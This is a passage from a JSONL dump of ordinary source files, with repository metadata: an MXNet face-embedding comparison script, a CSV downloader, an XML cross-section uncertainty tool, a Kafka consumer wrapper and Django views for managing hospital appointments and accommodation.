mx.symbol.Activation(data=cos_t, act_type='relu')\n else:\n cond_v = cos_t - threshold\n cond = mx.symbol.Activation(data=cond_v, act_type='relu')\n body = cos_t * cos_t\n body = 1.0 - body\n sin_t = mx.sym.sqrt(body)\n new_zy = cos_t * cos_m\n b = sin_t * sin_m\n new_zy = new_zy - b\n new_zy = new_zy * s\n if args.easy_margin:\n zy_keep = zy\n else:\n zy_keep = zy - s * mm\n new_zy = mx.sym.where(cond, new_zy, zy_keep)\n\n diff = new_zy - zy\n diff = mx.sym.expand_dims(diff, 1)\n gt_one_hot = mx.sym.one_hot(gt_label, depth=args.num_classes, on_value=1.0, off_value=0.0)\n body = mx.sym.broadcast_mul(gt_one_hot, diff)\n fc7 = fc7 + body\n\n out_list = [mx.symbol.BlockGrad(embedding)]\n softmax = mx.symbol.SoftmaxOutput(data=fc7, label=gt_label, name='softmax', normalization='valid')\n out_list.append(softmax)\n\n out = mx.symbol.Group(out_list)\n return (out, arg_params, aux_params)\n\n\ndef get_image(url, show=False):\n # download and show the image\n\n img = cv2.cvtColor(cv2.imread(url), cv2.COLOR_BGR2RGB)\n if img is None:\n return None\n # if show:\n # plt.imshow(img)\n # plt.axis('off')\n # convert into format (batch, RGB, width, height)\n img = cv2.resize(img, (112, 112))\n img = np.swapaxes(img, 0, 2)\n img = np.swapaxes(img, 1, 2)\n img = img[np.newaxis, :]\n return img\n\n\n# def test(data_set, mx_model, batch_size, nfolds=10, data_extra=None, label_shape=None):\n# img = get_image('/home/heisai/Desktop/test1.png')\n# model.forward(Batch([mx.nd.array(img)]), is_train=False)\n# net_out = model.get_outputs()\n# test = np.argmax(net_out)\n# print(test)\n# _arg, _aux = model.get_params()\n# __arg = {}\n# for k,v in _arg.iteritems():\n# __arg[k] = v.as_in_context(_ctx)\n# _arg = __arg\n# _arg[\"data\"] = _data.as_in_context(_ctx)\n# _arg[\"softmax_label\"] = _label.as_in_context(_ctx)\n# for k,v in _arg.iteritems():\n# print(k,v.context)\n# exe = sym.bind(_ctx, _arg, args_grad=None, grad_req=\"null\", aux_states=_aux)\n# exe.forward(is_train=False)\n# net_out = exe.outputs\n# _embeddings = net_out[0].asnumpy()\n# print(_embeddings)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='do verification')\n # general\n parser.add_argument('--data-dir', default='/home/heisai/Heisai/insightface/datasets/test/', help='')\n parser.add_argument('--model', default='/home/heisai/Desktop/model_mxnet_20190527/model,4',\n help='path to load model.')\n parser.add_argument('--gpu', default=0, type=int, help='gpu id')\n parser.add_argument('--max', default='', type=str, help='')\n parser.add_argument('--mode', default=0, type=int, help='')\n\n args = parser.parse_args()\n\n test = os.path.join(os.path.dirname(__file__), '..')\n sym, arg_params, aux_params = mx.model.load_checkpoint('/home/heisai/disk/HeisAI_data/model_20190612/model', 9)\n all_layers = sym.get_internals()\n sym = all_layers['fc1_output']\n # sym, arg_params, aux_params = get_symbol(args, arg_params, aux_params)\n ctx = [mx.cpu()]\n # model = mx.mod.Module(\n # context=ctx,\n # symbol=sym,\n # )\n img1 = get_image('/home/heisai/Pictures/img4.jpg')\n img2 = get_image('/home/heisai/Pictures/img3.jpg')\n imgs = [img1, img2]\n\n # sym, arg_params, aux_params = mx.model.load_checkpoint(prefix, epoch)\n all_layers = sym.get_internals()\n # sym = all_layers['heatmap_output']\n # image_size = (128, 128)\n # self.image_size = image_size\n model = mx.mod.Module(symbol=sym, context=ctx, label_names=None)\n # model = mx.mod.Module(symbol=sym, context=ctx)\n model.bind(for_training=False, data_shapes=[('data', (1, 3, 112, 112))])\n model.set_params(arg_params, aux_params)\n # batch_data = mx.io.DataBatch(eval_batch.data)\n # model.forward(batch_data, is_train=False)\n\n # path_imgidx = path_imgrec[0:-4] + \".idx\"\n # self.imgrec = mx.recordio.MXIndexedRecordIO(path_imgidx, path_imgrec, 'r')\n embedings = []\n for img in imgs:\n model.forward(Batch([mx.nd.array(img)]), is_train=False)\n net_out = model.get_outputs()[0].asnumpy()\n embedings.append(net_out)\n\n # file = open('./test.txt', 'a')\n # file.writelines(str(net_out))\n # for i in range(len(net_out)):\n # s = str(net_out[i]).replace('[', '').replace(']', '')\n # s = s.replace(\"'\", '').replace(',', '') + '\\n'\n # file.write(s)\n # file.close()\n embeding1 = embedings[0]\n embeding2 = embedings[1]\n cosine_dis = cosine_similarity(embeding1, embeding2)\n print(cosine_dis)\n", "repo_name": "MrWwei/insightface", "sub_path": "verification-me.py", "file_name": "verification-me.py", "file_ext": "py", "file_size_in_byte": 6873, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.dirname", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 26, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 26, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 30, "usage_type": "call"}, {"api_name": "fmobilefacenet.get_symbol", "line_number": 39, "usage_type": "call"}, {"api_name": "mxnet.symbol.Variable", "line_number": 41, "usage_type": "call"}, {"api_name": "mxnet.symbol", "line_number": 41, "usage_type": "attribute"}, {"api_name": "mxnet.symbol.Variable", "line_number": 44, "usage_type": "call"}, {"api_name": "mxnet.symbol", "line_number": 44, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 52, "usage_type": "attribute"}, {"api_name": "mxnet.symbol.L2Normalization", "line_number": 53, "usage_type": "call"}, {"api_name": "mxnet.symbol", "line_number": 53, "usage_type": "attribute"}, {"api_name": "mxnet.symbol.L2Normalization", "line_number": 54, "usage_type": "call"}, {"api_name": "mxnet.symbol", "line_number": 54, "usage_type": "attribute"}, {"api_name": "mxnet.sym.FullyConnected", "line_number": 55, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 55, "usage_type": "attribute"}, {"api_name": "mxnet.sym.pick", "line_number": 57, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 57, "usage_type": "attribute"}, {"api_name": "math.cos", "line_number": 59, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 60, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 61, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 61, "usage_type": "attribute"}, {"api_name": "math.cos", "line_number": 63, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 63, "usage_type": "attribute"}, {"api_name": "mxnet.symbol.Activation", "line_number": 65, "usage_type": "call"}, {"api_name": "mxnet.symbol", "line_number": 65, "usage_type": "attribute"}, {"api_name": "mxnet.symbol.Activation", "line_number": 68, "usage_type": "call"}, {"api_name": "mxnet.symbol", "line_number": 68, "usage_type": "attribute"}, {"api_name": "mxnet.sym.sqrt", "line_number": 71, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 71, "usage_type": "attribute"}, {"api_name": "mxnet.sym.where", "line_number": 80, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 80, "usage_type": "attribute"}, {"api_name": "mxnet.sym.expand_dims", "line_number": 83, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 83, "usage_type": "attribute"}, {"api_name": "mxnet.sym.one_hot", "line_number": 84, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 84, "usage_type": "attribute"}, {"api_name": "mxnet.sym.broadcast_mul", "line_number": 85, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 85, "usage_type": "attribute"}, {"api_name": "mxnet.symbol.BlockGrad", "line_number": 88, "usage_type": "call"}, {"api_name": "mxnet.symbol", "line_number": 88, "usage_type": "attribute"}, {"api_name": "mxnet.symbol.SoftmaxOutput", "line_number": 89, "usage_type": "call"}, {"api_name": "mxnet.symbol", "line_number": 89, "usage_type": "attribute"}, {"api_name": "mxnet.symbol.Group", "line_number": 92, "usage_type": "call"}, {"api_name": "mxnet.symbol", "line_number": 92, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 99, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 99, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 99, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 109, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 147, "usage_type": "call"}, {"api_name": "os.path", "line_number": 147, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 147, "usage_type": "call"}, {"api_name": "mxnet.model.load_checkpoint", "line_number": 148, "usage_type": "call"}, {"api_name": "mxnet.model", "line_number": 148, "usage_type": "attribute"}, {"api_name": "mxnet.cpu", "line_number": 152, "usage_type": "call"}, {"api_name": "mxnet.mod.Module", "line_number": 166, "usage_type": "call"}, {"api_name": "mxnet.mod", "line_number": 166, "usage_type": "attribute"}, {"api_name": "mxnet.nd.array", "line_number": 177, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 177, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.pairwise.cosine_similarity", "line_number": 190, "usage_type": "call"}]} +{"seq_id": "2752206347", "text": "# Down from URL a csv file.\nimport requests\n\ndef import_data_files():\n r = requests.get('https://raw.githubusercontent.com/anyoneai/notebooks/main/customers_and_orders/data/customers.csv')\n with open('customers.csv', 'wb') as f: # ./sample_data/customers.csv'\n f.write(r.content)\n\n r = requests.get('https://raw.githubusercontent.com/anyoneai/notebooks/main/customers_and_orders/data/orders.csv')\n with open('orders.csv', 'wb') as f: # './sample_data/orders.csv'\n f.write(r.content)\n \nimport_data_files()\nprint(\"Customers and orders CSV files have been added './sample_data'\")", "repo_name": "jctesla/A_pyVScode", "sub_path": "open_CsvTxtPdf/readFile_from_web_00.py", "file_name": "readFile_from_web_00.py", "file_ext": "py", "file_size_in_byte": 608, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "requests.get", "line_number": 5, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 9, "usage_type": "call"}]} +{"seq_id": "37955423970", "text": "#!/usr/bin/env python\nimport scipy.stats\nimport matplotlib.pyplot as plt\nfrom optparse import OptionParser\n#from powerlaw import powerlaw\nimport xml.etree.ElementTree as ET # in python >=2.5\nimport numpy as np\nfrom io import StringIO\nimport sys\n\n\ndef PlotShiraiNode(vNode):\n leg = \"\"\n if 0 == len(vNode.findall(\"legend\")):\n leg = vNode.attrib[\"name\"]\n else:\n leg = vNode.find(\"legend\").text\n try:\n threshold = float(vNode.attrib[\"threshold\"])\n except:\n threshold = 0\n uncertainty = float(vNode.find(\"uncertainty\").text)\n Emin = float(vNode.find(\"Emin\").text)\n Emax = float(vNode.find(\"Emax\").text)\n\n tid = vNode.find(\"Equation\").attrib[\"article_id\"]\n tip = int(vNode.find(\"Equation\").attrib[\"type\"])\n params = np.loadtxt(StringIO(vNode.find(\"params\").text.replace(\"\\n\", \" \")))\n\n#\tdef __init__(self,emin,emax,threshold,eqtype,dataeq):\n if(tid == \"CH4\"):\n shirai = NewShiraiCH4(Emin, Emax, threshold, tip, params)\n if(tid == \"CO2\"):\n shirai = NewShiraiCO2(Emin, Emax, threshold, tip, params)\n if(tid == \"N2\"):\n shirai = NewShiraiN2(Emin, Emax, threshold, tip, params)\n\n ene = np.arange(Emin, Emax, (Emax-Emin)/100.)\n ene = np.array(scipy.stats.powerlaw(Emin, Emax, 100))\n print(type(ene))\n cross = shirai.ReturnCrs(ene*1E-3)\n datauncert = cross*uncertainty/100.\n plt.errorbar(ene, cross, yerr=datauncert, label=leg)\n\n\ndef PlotStdNode(vNode):\n leg = \"\"\n if(0 == len(vNode.findall(\"legend\"))):\n try:\n leg = vNode.attrib[\"name\"]\n except:\n leg = \"Elastic\"\n else:\n leg = vNode.find(\"legend\").text\n\n fact = 1\n if(\"fact\" in list(vNode.find(\"Egrid\").keys())):\n fact = float(vNode.find(\"Egrid\").attrib.get(\"fact\"))\n#\tprint \"Votre facteur :\",fact\n#\tprint loadtxt(StringIO((vNode.find(\"Egrid\").text).replace(\"\\n\",\" \")))\n dataenergy = np.loadtxt(StringIO(vNode.find(\"Egrid\").text.replace(\"\\n\", \" \")))*fact\n fact = 1\n if(\"fact\" in list(vNode.find(\"Cross\").keys())):\n fact = float(vNode.find(\"Cross\").attrib.get(\"fact\"))\n print(\"Votre facteur :\", fact)\n datacrs = np.loadtxt(StringIO(vNode.find(\"Cross\").text.replace(\"\\n\", \" \")))*fact\n#\tprint datacrs\n\n uncertainty = 0\n datauncert = np.zeros((len(datacrs)))\n if(\"uncertainty\" in list(vNode.find(\"Cross\").keys())):\n uncertainty = vNode.find(\"Cross\").attrib.get(\"uncertainty\")\n if (uncertainty.find(\"%\")):\n uncert = float(uncertainty.replace(\"%\", \"\"))/100.\n print(\"Facteur d'incertitude\", uncert)\n datauncert = datacrs*uncert\n else:\n value = float(uncertainty)*fact\n print(\"Valeur d'incertitude\")\n datauncert = np.ones((len(datacrs)))*value\n\n#\tprint datauncert\n\n#\terrorbar(datacrs,dataenergy,yerr=datauncert,label=leg)\n plt.errorbar(dataenergy, datacrs, yerr=datauncert, label=leg)\n\n\ndef CheckNode(vNode, nodename=\"\"):\n if nodename == \"\":\n nodename = vNode.attrib[\"name\"]\n if(\"uncertainty\" in list(vNode.find(\"Cross\").keys())):\n return True\n if(\"fact_uncertainty\" in list(vNode.find(\"Cross\").keys())):\n return True\n\n raise RuntimeError(\"Problem for the node \", nodename)\n\n\ndef CheckShirai(vNode, name=\"\"):\n if(len(vNode.findall(\"uncertainty\")) != 1):\n if name == \"\":\n e = \"Problem with {}\".format(vNode.attrib[\"name\"])\n else:\n e = \"Problem with {}\".format(name)\n\n raise RuntimeError(e)\n\n\ndef ActiveNode(vNode):\n vNode.find(\"Cross\").attrib[\"setMC\"] = \"active\"\n\n\ndef DeActiveNode(vNode):\n vNode.find(\"Cross\").attrib[\"setMC\"] = \"inactive\"\n\n\ndef ActiveShirai(vNode):\n if(not vNode.find(\"SetMCActive\")):\n ET.SubElement(vNode, \"SetMCActive\")\n\n\ndef DeActiveShirai(vNode):\n for i in (vNode.findall(\"SetMCActive\")):\n vNode.remove(i)\n\n\ndef ForceNode(vNode, st):\n if(\"uncertainty\" in list(vNode.find(\"Cross\").keys())):\n return\n if(\"fact_uncertainty\" in list(vNode.find(\"Cross\").keys())):\n return\n vNode.find(\"Cross\").attrib[\"uncertainty\"] = st\n\n\ndef ForceShirai(vNode, st):\n if(len(vNode.findall(\"uncertainty\")) != 1):\n unc = ET.SubElement(vNode, \"uncertainty\")\n unc.text = st\n\n\ndef ToFactor(vNode):\n uncert = vNode.find(\"Cross\").attrib[\"uncertainty\"]\n del vNode.find(\"Cross\").attrib[\"uncertainty\"]\n vNode.find(\"Cross\").attrib[\"fact_uncertainty\"] = uncert\n\n\ndef ToUncert(vNode):\n uncert = vNode.find(\"Cross\").attrib[\"fact_uncertainty\"]\n del vNode.find(\"Cross\").attrib[\"fact_uncertainty\"]\n vNode.find(\"Cross\").attrib[\"uncertainty\"] = uncert\n\n\nif __name__ == \"__main__\":\n if(len(sys.argv) < 2):\n print(\"veuillez donner un nom de fichier\")\n sys.exit()\n\n parser = OptionParser()\n\n parser.add_option(\"-f\", \"--file\", dest=\"filename\", help=\"The input file \", type=\"string\")\n parser.add_option(\"-c\", \"--check-mc\", help=\"Check the existence of MonteCarlo\", action=\"store_true\", dest=\"check\")\n parser.add_option(\"-a\", \"--activate\", help=\"Activate the Monte Carlo system\", action=\"store_true\", dest=\"active\")\n parser.add_option(\"-d\", \"--deactivate\", help=\"DeActivate the Monte Carlo system\", action=\"store_true\", dest=\"deactive\")\n parser.add_option(\"--force\", help=\"Force an uncertainty in %\", dest=\"force\", type=\"string\")\n parser.add_option(\"--tofactor\", help=\"The uncertainties are converted to factor uncertainties\",\n action=\"store_true\", dest=\"tofactor\")\n parser.add_option(\"--touncert\", help=\"The factor uncertainties are converted to standard uncertainties\",\n action=\"store_true\", dest=\"touncert\")\n parser.add_option(\"-o\", \"--outfile\", dest=\"outname\", help=\"The output image\", type=\"string\")\n\n (options, args) = parser.parse_args()\n\n filename = options.filename\n\n if(not filename):\n if(len(args)):\n print(\"Dans les args : a\")\n filename = args[0]\n else:\n print(\"Pas de fichiers\")\n sys.exit()\n print(\"Fichier\", filename)\n\n check = options.check\n active = options.active\n deactive = options.deactive\n\n touncert = options.touncert\n tofactor = options.tofactor\n if tofactor and touncert:\n raise ValueError(\"you cannot convert to factor and to uncert at the same time\")\n if active:\n check = True\n if(not options.outname):\n raise ValueError(\"Error: out file not set\")\n if(deactive):\n raise ValueError(\"You cannot activate and deactivate at the same time (dumb)\")\n force = False\n forcesh = \"\"\n forcen = \"\"\n if options.force:\n force = True\n forcesh = (options.force).strip()\n forcen = forcesh+\"%\"\n print(\"Force\", forcesh, forcen)\n\n tree = ET.parse(filename)\n root = tree.getroot()\n processlist = root.findall(\".//Process\")\n print(\"Nous avons trouve \", len(processlist), \"processus\")\n\n for proc in processlist:\n if(0 == len(proc.findall(\"Shirai\"))):\n if tofactor:\n ToFactor(proc)\n if touncert:\n ToUncert(proc)\n if force:\n ForceNode(proc, forcen)\n if check:\n CheckNode(proc)\n if active:\n ActiveNode(proc)\n if deactive:\n DeActiveNode(proc)\n else:\n if force:\n ForceShirai(proc, forcesh)\n if check:\n CheckShirai(proc)\n if active:\n ActiveShirai(proc)\n if deactive:\n DeActiveShirai(proc)\n\n processlist2 = root.findall(\".//ElasticCrs\")\n for proc in processlist2:\n if(0 == len(proc.findall(\"Shirai\"))):\n if tofactor:\n ToFactor(proc)\n if touncert:\n ToUncert(proc)\n if force:\n ForceNode(proc, forcen)\n if check:\n CheckNode(proc, \"ElasticCrs\")\n if active:\n ActiveNode(proc)\n if deactive:\n DeActiveNode(proc)\n else:\n if force:\n ForceShirai(proc, forcesh)\n if check:\n CheckShirai(proc, \"ElasticCrs\")\n if active:\n ActiveShirai(proc)\n if deactive:\n DeActiveShirai(proc)\n\n processlist3 = root.findall(\".//TotalCrs\")\n for proc in processlist3:\n if(0 == len(proc.findall(\"Shirai\"))):\n if tofactor:\n ToFactor(proc)\n if touncert:\n ToUncert(proc)\n if force:\n ForceNode(proc, forcen)\n if check:\n CheckNode(proc, \"TotalCrs\")\n if active:\n ActiveNode(proc)\n if deactive:\n DeActiveNode(proc)\n else:\n if force:\n ForceShirai(proc, forcesh)\n if check:\n CheckShirai(proc, \"TotalCrs\")\n if active:\n ActiveShirai(proc)\n if deactive:\n DeActiveShirai(proc)\n\n if(options.outname):\n tree.write(options.outname)\n", "repo_name": "space-physics/aeroplanets", "sub_path": "utils/crsfiletomc.py", "file_name": "crsfiletomc.py", "file_ext": "py", "file_size_in_byte": 9165, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.loadtxt", "line_number": 28, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 39, "usage_type": "call"}, {"api_name": "scipy.stats.stats.powerlaw", "line_number": 39, "usage_type": "call"}, {"api_name": "scipy.stats.stats", "line_number": 39, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "numpy.loadtxt", "line_number": 61, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 66, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 119, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 119, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 137, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 137, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 154, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 156, "usage_type": "call"}, {"api_name": "optparse.OptionParser", "line_number": 158, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 181, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 207, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 207, "usage_type": "name"}]} +{"seq_id": "11611412089", "text": "import logging\nimport time\nfrom typing import Any, Generator\n\nfrom kafka import KafkaConsumer, errors\nfrom kafka.consumer.fetcher import ConsumerRecord\n\nfrom core.backoff import backoff\n\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\nclass KafkaExtractor:\n def __init__(self, kafka_consumer: KafkaConsumer) -> None:\n self.consumer = kafka_consumer\n\n def _commit(self):\n self.consumer.commit()\n\n def extract(self) -> Generator[ConsumerRecord, None, None]:\n \"\"\"Метод для чтения сообщений из Kafka.\"\"\"\n try:\n yield from self.consumer\n except errors.KafkaError as e:\n logger.error(\"Error while reading messages from Kafka: %s\", e)\n except Exception as e:\n logger.error(\"Error while reading messages from Kafka: %s\", e)\n\n\n@backoff()\ndef get_kafka_extractor(settings: dict[str, Any]):\n consumer = KafkaConsumer(\n settings[\"topic\"],\n bootstrap_servers=settings[\"bootstrap_servers\"],\n auto_offset_reset=settings[\"auto_offset_reset\"],\n group_id=settings[\"group_id\"],\n enable_auto_commit=False,\n consumer_timeout_ms=1000,\n )\n return KafkaExtractor(consumer)\n", "repo_name": "brivazz/ugc_sprint_1", "sub_path": "kafka_to_clickhouse/src/etl/kafka_extractor.py", "file_name": "kafka_extractor.py", "file_ext": "py", "file_size_in_byte": 1241, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.basicConfig", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 11, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "kafka.KafkaConsumer", "line_number": 16, "usage_type": "name"}, {"api_name": "kafka.errors.KafkaError", "line_number": 26, "usage_type": "attribute"}, {"api_name": "kafka.errors", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.Generator", "line_number": 22, "usage_type": "name"}, {"api_name": "kafka.consumer.fetcher.ConsumerRecord", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 33, "usage_type": "name"}, {"api_name": "kafka.KafkaConsumer", "line_number": 34, "usage_type": "call"}, {"api_name": "core.backoff.backoff", "line_number": 32, "usage_type": "call"}]} +{"seq_id": "34969709580", "text": "from django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.urls import reverse\nfrom django.views import View\nfrom django.contrib import auth, messages\n\nfrom services.models import Hospital, Appointment, Accommodation, Room, ROOM_TYPE_CHOICES, BookAccommodation\nfrom system.models import Expertise\nfrom .models import User, UserProfile, Contact\nfrom address.models import District, Address\n\n# Create your views here.\n\n\nclass HomeView(View):\n def get(self, request):\n context = {\n\n }\n return render(request, 'home.html', context)\n\n\nclass AdminDashboardView(LoginRequiredMixin, View):\n def get(self, request):\n context = {\n\n }\n return HttpResponseRedirect(reverse('admin:index'))\n\n\nclass DoctorDashboardView(LoginRequiredMixin, View):\n def get(self, request, doctor_id):\n doctor_obj = get_object_or_404(User, pk=doctor_id)\n pending_appointments = Appointment.objects.filter(doctor=doctor_obj, status=1)\n confirmed_appointments = Appointment.objects.filter(doctor=doctor_obj, status=2)\n rejected_appointments = Appointment.objects.filter(doctor=doctor_obj, status=3)\n total_appointments = Appointment.objects.filter(doctor=doctor_obj)\n context = {\n 'pending_appointments': pending_appointments,\n 'confirmed_appointments': len(confirmed_appointments),\n 'rejected_appointments': len(rejected_appointments),\n 'total_appointments': len(total_appointments),\n }\n if doctor_id == request.user.id:\n return render(request, 'dashboard/doctor_dashboard.html', context)\n else:\n return HttpResponse(\"You are not authorized to view this Page. \")\n\n\nclass PoliceDashboardView(LoginRequiredMixin, View):\n def get(self, request):\n context = {\n\n }\n return render(request, 'dashboard/police_dashboard.html', context)\n\n\nclass ManagerDashboardView(LoginRequiredMixin, View):\n def get(self, request, manager_id):\n manager_obj = get_object_or_404(User, pk=manager_id)\n districts = District.objects.all()\n accommodations = Accommodation.objects.filter(owner=manager_obj)\n rooms = Accommodation.objects.none()\n for accommodation in accommodations:\n rooms |= Room.objects.filter(accommodation=accommodation.id) # getting all rooms of same owner\n\n room_ids = [room.id for room in rooms] # list of all room id\n pending_bookings = BookAccommodation.objects.filter(room__in=room_ids, status=1)\n\n context = {\n 'districts': districts,\n 'accommodations': accommodations,\n 'rooms': rooms,\n 'room_type': list(ROOM_TYPE_CHOICES),\n 'pending_bookings': pending_bookings,\n }\n if manager_id == request.user.id:\n return render(request, 'dashboard/manager_dashboard.html', context)\n else:\n return HttpResponse(\"You are not authorized to view this Page. \")\n\n\nclass AccommodationManageView(LoginRequiredMixin, View):\n def get(self, request, **kwargs):\n if 'deletable_id' in kwargs:\n deletable_obj = get_object_or_404(Accommodation, pk=kwargs.get('deletable_id'))\n deletable_obj.delete()\n messages.success(request, 'Accommodation Deleted Successfully. ')\n return redirect('authenticate:manager_dashboard_url', manager_id=request.user.id)\n\n def post(self, request, **kwargs):\n data = request.POST\n\n if 'editable_id' in kwargs:\n accommodation_obj = get_object_or_404(Accommodation, pk=kwargs.get('editable_id'))\n name = data.get('new_name')\n image = request.FILES.get('new_image')\n location = data.get('new_location')\n district = data.get('new_district')\n zip_code = data.get('new_zip_code')\n description = data.get('new_description')\n\n accommodation_obj.name = name\n if image:\n accommodation_obj.image = image\n\n # updating address object\n accommodation_obj.address.address = location\n accommodation_obj.address.district = District.objects.get(pk=district)\n accommodation_obj.address.zip_code = zip_code\n accommodation_obj.address.save()\n\n accommodation_obj.description = description\n accommodation_obj.save()\n\n messages.success(request, 'Accommodation Updated Successfully,')\n return redirect('authenticate:manager_dashboard_url', manager_id=request.user.id)\n\n # adding Accommodation, This won't be executed if edit url called\n name = data.get('name')\n image = request.FILES.get('image')\n location = data.get('location')\n district = data.get('district')\n zip_code = data.get('zip_code')\n description = data.get('description')\n\n # creating address object\n district = get_object_or_404(District, pk=district)\n address_obj = Address(address=location, district=district, zip_code=zip_code)\n address_obj.save()\n\n accommodation_obj = Accommodation(name=name, owner=request.user, image=image, address=address_obj, description=description)\n accommodation_obj.save()\n\n messages.success(request, 'Accommodation Added Successfully,')\n return redirect('authenticate:manager_dashboard_url', manager_id=request.user.id)\n\n\nclass RoomManageView(LoginRequiredMixin, View):\n def get(self, request, **kwargs):\n if 'deletable_id' in kwargs:\n room_obj = get_object_or_404(Room, pk=kwargs.get('deletable_id'))\n room_obj.delete()\n messages.success(request, 'Room Deleted Successfully. ')\n return redirect('authenticate:manager_dashboard_url', manager_id=request.user.id)\n\n def post(self, request, **kwargs):\n data = request.POST\n room_number = data.get('room_number')\n image = request.FILES.get(\"room_image\")\n accommodation = data.get('accommodation')\n description = data.get('room_description')\n room_type = data.get('room_type')\n cost_per_day = data.get('cost_per_day')\n\n # In case of updating room\n if 'editable_id' in kwargs:\n room_obj = get_object_or_404(Room, pk=kwargs.get('editable_id'))\n room_obj.room_number = room_number\n if image:\n room_obj.image = image\n room_obj.accommodation = Accommodation.objects.get(pk=accommodation)\n room_obj.description = description\n room_obj.room_type = room_type\n room_obj.cost_per_day = cost_per_day\n room_obj.save()\n messages.success(request, 'Room Updated Successfully. ')\n return redirect('authenticate:manager_dashboard_url', manager_id=request.user.id)\n\n room_obj = Room(accommodation=Accommodation.objects.get(pk=accommodation), room_type=room_type,\n room_number=room_number, image=image, description=description, cost_per_day=cost_per_day)\n room_obj.save()\n messages.success(request, 'Room Added Successfully. ')\n return redirect('authenticate:manager_dashboard_url', manager_id=request.user.id)\n\n\nclass ManageBookingRequestView(LoginRequiredMixin, View):\n def get(self, request, **kwargs):\n manager_obj = get_object_or_404(User, pk=kwargs.get('manager_id'))\n accommodations = Accommodation.objects.filter(owner=manager_obj)\n rooms = Accommodation.objects.none()\n for accommodation in accommodations:\n rooms |= Room.objects.filter(accommodation=accommodation.id) # getting all rooms of same owner\n\n room_ids = [room.id for room in rooms] # list of all room id\n all_bookings = BookAccommodation.objects.filter(room__in=room_ids)\n\n context = {\n 'all_bookings': all_bookings,\n 'pending_bookings': all_bookings.filter(status=1),\n 'approved_bookings': all_bookings.filter(status=2),\n 